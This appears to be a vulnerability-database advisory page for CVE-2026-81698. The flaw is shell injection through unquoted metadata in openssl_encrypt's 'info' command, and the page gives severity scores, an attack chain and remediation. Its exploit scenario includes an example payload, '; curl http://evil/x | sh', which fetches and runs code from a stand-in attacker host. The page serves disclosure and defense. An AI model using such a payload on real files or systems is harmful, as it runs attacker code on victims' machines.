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openssl_encrypt EUVDEUVD-2026-67054

| CVE-2026-81698 CRITICAL
OS Command Injection (CWE-78)
2026-08-27 VulnCheck GHSA-rcx3-xx7j-m3r9
Command Injection Openssl Encrypt
9.3
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.8 HIGH

Code runs only when the victim copies the tool's local output into a shell, so UI:R and AV:L; result is full command execution as the user, giving high C/I/A with unchanged scope.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Patch available
Aug 27, 2026 - 18:02 EUVD
Analysis Generated
Aug 27, 2026 - 17:35 vuln.today
CVE Published
Aug 27, 2026 - 14:51 cve.org
CRITICAL 9.3

DescriptionCVE.org

openssl_encrypt versions before 1.4.9 contain a shell injection vulnerability in the info command's reconstructed CLI block that interpolates untrusted metadata fields without quoting. Attackers can craft metadata values like pepper_name containing shell commands that execute when users copy the printed CLI block into a shell.

AnalysisAI

Arbitrary command execution in jahlives' openssl_encrypt before 1.4.9 arises when the tool's 'info' command reconstructs and prints a CLI invocation using untrusted metadata fields (such as pepper_name) without shell-quoting. An attacker who controls the metadata of an encrypted file can embed shell commands that run on the victim's system the moment the printed CLI block is copied and pasted into a terminal. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft file with shell payload in metadata
Delivery
Deliver malicious file to victim
Exploit
Victim runs 'info' command
Execution
Reconstructed CLI printed unquoted
Persist
Victim copies block into shell
Impact
Payload executes as victim
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Vulnerability AssessmentAI

Exploitation Exploitation requires (1) the attacker to control metadata fields - explicitly pepper_name - inside an openssl_encrypt file that the victim will inspect, and (2) the victim to run the 'info' command AND then copy the printed reconstructed CLI block into a shell. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, base 9.3 Critical) overstates real-world exploitability because it encodes UI:N, yet the description makes clear that code only executes when a human copies the printed CLI block into a shell - that is user interaction, and the vector and description conflict on this point; treat the 9.3 as an upper bound. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts an openssl_encrypt file whose pepper_name (or similar metadata) contains a payload such as `; curl http://evil/x | sh`, then shares it with a target as a supposedly legitimate encrypted file. The victim runs 'openssl_encrypt info' to inspect it, sees a helpful reconstructed command line, and copies it into their terminal - at which point the embedded shell command runs with the victim's privileges. …
Remediation Vendor-released patch: upgrade to openssl_encrypt 1.4.9 or later, which addresses the unquoted metadata interpolation in the info command; see GHSA-gw2m-mj6q-59hc. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours, identify all systems using openssl_encrypt before version 1.4.9 and notify users to avoid copy-pasting output from the info command, especially when processing files from untrusted sources. …

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EUVD-2026-67054 vulnerability details – vuln.today
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